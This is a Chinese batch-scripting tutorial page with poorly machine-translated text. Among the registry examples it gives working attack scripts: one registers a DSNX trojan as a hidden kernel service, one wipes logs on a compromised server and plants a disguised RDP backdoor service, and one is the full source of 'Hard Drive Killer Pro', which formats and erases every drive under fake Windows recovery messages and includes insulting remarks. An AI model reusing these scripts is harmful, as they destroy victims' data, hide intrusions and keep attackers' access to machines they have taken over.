设为主页 | 加入收藏 | 繁體中文

批处理文件制作实例精彩教程


  修正绝对来说比较简单,只要把你必要修正的项目导出,然后用记事本进行修正,然后导入(regedit /s)即可。
  3.删除
  我们起首来说说删除一个项目称号,我们创建一个如下的文件:
  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
  "Ex4rch"=-
  实行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了;
  我们再看看删除一个子项,我们创建一个如下的脚本:
  Windows Registry Editor Version 5.00
  [-HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
  实行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]就已经被删除了。
  信赖看到这里,.reg文件你根本已经掌握了。那么现在的目标便是用批处置惩罚来创建特定内容的.reg文件了,记得我们前面说道的利用重定向标记可以很容易地创建特定类型的文件。
  samlpe1:如上面的谁人例子,如想生成如下注册表文件
  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
  "Invader"="Ex4rch"
  "door"=hex:255
  "Autodos"=dword:000000128
  只必要如许:
  @echo Windows Registry Editor Version 5.00>>Sample.reg
  @echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]>Sample.reg
  @echo "Invader"="Ex4rch">>Sample.reg
  @echo "door"=5>>C:////WINNT////system32////door.exe>>Sample.reg
  @echo "Autodos"=dword:02>>Sample.reg
  samlpe2:
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是如许很容易袒露木马步伐的途径,从而导致木马被查杀,绝对地如果将木马步伐注册为体系办事则绝对宁静一些.上面以设置装备摆设好地IRC木马DSNX为例(名为windrv32.exe)
  @start windrv32.exe
  @attrib +h +r windrv32.exe
  @echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] >>patch.dll
  @echo "windsnx "=- >>patch.dll
  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c://winnt//system32//windrv32.exe
  @regedit /s patch.dll
  @delete patch.dll
  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为体系关键性办事的同时将其属性设为隐藏和只读,并config为自启动]
  @REM 如许不是更宁静^_^.
  六.精彩实例放送。
  1.删除win2k/xp体系默许共享的批处置惩罚
  ------------------------ cut here then save as .bat or .cmd file --------------------------- 
  @echo preparing to delete all the default shares.when ready pres any key.
  @pause
  @echo off 
  :Rem check parameters if null show usage.
  if {%1}=={} goto :Usage 
  :Rem code start.
  echo.
  echo ------------------------------------------------------
  echo.
  echo Now deleting all the default shares.
  echo.
  net share %1$ /delete
  net share %2$ /delete
  net share %3$ /delete
  net share %4$ /delete
  net share %5$ /delete
  net share %6$ /delete
  net share %7$ /delete
  net share %8$ /delete
  net share %9$ /delete
  net stop Server
  net start Server
  echo.
  echo All the shares have been deleteed
  echo.
  echo ------------------------------------------------------
  echo.
  echo Now modify the registry to change the system default properties.
  echo.
  echo Now creating the registry file
  echo Windows Registry Editor Version 5.00> c://delshare.reg
  echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters]>> c://delshare.reg
  echo "AutoShareWks"=dword:00000000>> c://delshare.reg
  echo "AutoShareServer"=dword:00000000>> c://delshare.reg
  echo Nowing using the registry file to chang the system default properties.
  regedit /s c://delshare.reg
  echo Deleting the temprotarily files.
  del c://delshare.reg
  goto :END 
  :Usage
  echo.
  echo ------------------------------------------------------
  echo.
  echo ☆ A example for batch file ☆
  echo ☆ [Use batch file to change the sysytem share properties.] ☆ 
  echo.
  echo Author:Ex4rch
  echo Mail: Ex4rch@hotmail.com QQ:1672602
  echo.
  echo Error:Not enough parameters
  echo.
  echo ☆ Please enter the share disk you wanna delete ☆
  echo.
  echo For instance,to delete the default shares:
  echo delshare c d e ipc admin print
  echo.
  echo If the disklable is not as C: D: E: ,Please chang it youself.
  echo.
  echo example:
  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
  echo delshare c d e x y z ipc admin print
  echo.
  echo *** you can delete nine shares once in a useing ***
  echo.
  echo ------------------------------------------------------
  goto :EOF 
  :END
  echo.
  echo ------------------------------------------------------
  echo.
  echo OK,delshare.bat has deleted all the share you assigned.
  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com .
  echo 
  echo.
  echo ------------------------------------------------------
  echo. 
  :EOF
  echo end of the batch file
  ------------------------ cut here then save as .bat or .cmd file ---------------------------
  2.片面加固体系(给肉鸡打补丁)的批处置惩罚文件
  ------------------------ cut here then save as .bat or .cmd file ---------------------------
  @echo Windows Registry Editor Version 5.00 >patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters] >>patch.dll 
  @echo "AutoShareServer"=dword:00000000 >>patch.dll 
  @echo "AutoShareWks"=dword:00000000 >>patch.dll 
  @REM [克制共享]
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Lsa] >>patch.dll 
  @echo "restrictanonymous"=dword:00000001 >>patch.dll 
  @REM [克制匿名登录]
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//NetBT//Parameters] >>patch.dll 
  @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 
  @REM [克制及文件访问和打印共享]
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//@REMoteRegistry] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//Schedule] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon] >>patch.dll 
  @echo "ShutdownWithoutLogon"="0" >>patch.dll 
  @REM [克制登录前关机]
  @echo "DontDisplayLastUserName"="1" >>patch.dll
  @REM [克制显示前一个登录用户称号] 
  @regedit /s patch.dll
  ------------------------ cut here then save as .bat or .cmd file ---------------------------
  上面下令是扫除肉鸡全部日志,克制一些危险的办事,并修正肉鸡的terminnal service留跳后路。
  @regedit /s patch.dll 
  @net stop w3svc
  @net stop event log
  @del c://winnt//system32//logfiles//w3svc1//*.* /f /q
  @del c://winnt//system32//logfiles//w3svc2//*.* /f /q
  @del c://winnt//system32//config//*.event /f /q
  @del c://winnt//system32dtclog//*.* /f /q
  @del c://winnt//*.txt /f /q
  @del c://winnt//*.log /f /q
  @net start w3svc
  @net start event log
  @rem [删除日志]
  @net stop lanmanserver /y 
  @net stop Schedule /y 
  @net stop RemoteRegistry /y 
  @del patch.dll 
  @echo The server has been patched,Have fun.
  @del patch.bat
  @REM [克制一些危险的办事。]
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations//RDP-Tcp] >>patch.dll 
  @echo "PortNumber"=dword:00002010 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//Wds//rdpwd//Tds//tcp >>patch.dll 
  @echo "PortNumber"=dword:00002012 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//TermDD] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//SecuService] >>patch.dll 
  @echo "Start"=dword:00000002 >>patch.dll 
  @echo "ErrorControl"=dword:00000001 >>patch.dll 
  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,// >>patch.dll 
  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,// >>patch.dll 
  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 
  @echo "ObjectName"="LocalSystem" >>patch.dll 
  @echo "Type"=dword:00000010 >>patch.dll 
  @echo "Description"="Keep record of the program and windows message。" >>patch.dll 
  @echo "DisplayName"="Microsoft EventLog" >>patch.dll 
  @echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//termservice] >>patch.dll 
  @echo "Start"=dword:00000004 >>patch.dll 
  @copy c://winnt//system32//termsrv.exe c://winnt//system32//eventlog.exe
  @REM [修正3389毗连,端口为8210(十六进制为00002012),称号为Microsoft EventLog,留条后路]
  3.Hard Drive Killer Pro Version 4.0(玩批处置惩罚到这个水平真的不容易了。)
  ------------------------ cut here then save as .bat or .cmd file ---------------------------
  @echo off
  rem This program is dedecated to a very special person that does not want to be named.
  :start
  cls
  echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  call attrib -r -h c://autoexec.bat >nul
  echo @echo off >c://autoexec.bat
  echo call format c: /q /u /autoSample >nul >>c://autoexec.bat
  call attrib +r +h c://autoexec.bat >nul
  rem Drive checking and assigning the valid drives to the drive variable.
  set drive=
  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
  rem code insertion for Drive Checking takes place here.
  rem drivechk.bat is the file name under the root directory.
  rem As far as the drive detection and drive variable settings, dont worry about how it 
  rem works, its d//*amn to complicated for the average or even the expert batch programmer.
  rem Except for Tom Lavedas.
  echo @echo off >drivechk.bat
  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  del {t}.bat
  echo if errorlevel 1 goto enddc >>drivechk.bat
  cls
  echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  rem When errorlevel is 1, then the above is not true, if 0, then its true.
  rem Opposite of binary rules. If 0, it will elaps to the next command.
  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find "bytes" > nul >{t}.bat
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  del {t}.bat
  echo if errorlevel 1 goto enddc >>drivechk.bat
  cls
  echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
  rem if errorlevel is 0, then it will elaps to the next command.
  echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
  %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  del {t}.bat
  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
  cls
  echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
  echo :enddc >>drivechk.bat
  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 
  rem Now we will use the program drivechk.bat to attain valid drive information.
  :Sampledrv
  for %%a in (%alldrive%) do call drivechk.bat %%a >nul
  del drivechk.bat >nul
  if %drive.==. set drive=c
  :form_del
  call attrib -r -h c://autoexec.bat >nul
  echo @echo off >c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
  echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
  echo cd// >>c://autoexec.bat
  echo cls >>c://autoexec.bat
  echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c://autoexec.bat
  echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c://autoexec.bat
  echo echo 1. To make people aware that security should not be taken for granted. >>c://autoexec.bat
  echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c://autoexec.bat
  echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c://autoexec.bat
  echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c://autoexec.bat
  echo echo. >>c://autoexec.bat
  echo echo Regards, >>c://autoexec.bat
  echo echo. >>c://autoexec.bat
  echo echo Munga Bunga >>c://autoexec.bat
  call attrib +r +h c://autoexec.bat
  :makedir
  if exist c://temp.bat attrib -r -h c://temp.bat >nul
  echo @echo off >c://temp.bat
  echo %%1:// >>c://temp.bat
  echo cd// >>c://temp.bat
  echo :startmd >>c://temp.bat
  echo for %%%%a in ("if not exist %%2//nul md %%2" "if exist %%2//nul cd %%2") do %%%%a >>c://temp.bat
  echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c://temp.bat
  echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat
  call attrib +r +h c://temp.bat >nul
  cls
  echo Initializing variables . . .
  rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction.
  for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
  cls
  echo Initializing variables . . .
  echo Validating Data . . .
  for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
  cls
  echo Initializing variables . . .
  echo Validating Data . . .
  echo Analyzing System Structure . . .
  for %%a in (%drive%) call attrib -r -h %%a:// /S >nul
  call attrib +r +h c://temp.bat >nul
  call attrib +r +h c://autoexec.bat >nul
  cls
  echo Initializing variables . . .
  echo Validating Data . . .
  echo Analyzing System Structure . . .
  echo Initializing Application . . .
  for %%a in (%drive%) call deltree /y %%a://*. >nul
  cls
  echo Initializing variables . . .
  echo Validating Data . . .
  echo Analyzing System Structure . . .
  echo Initializing Application . . .
  echo Starting Application . . .
  for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
  cls
  echo Thank you for using a Munga Bunga product.
  echo.
  echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
  echo.
  echo Here is a joke for you . . .
  echo.
  echo Q). Whats the worst thing about being an egg?
  echo A). You only get laid once.
  echo.
  echo HAHAHAHA, get it? Dont you just love that one?
  echo.
  echo Regards,
  echo.
  echo Munga Bunga
  :end
  rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
  rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: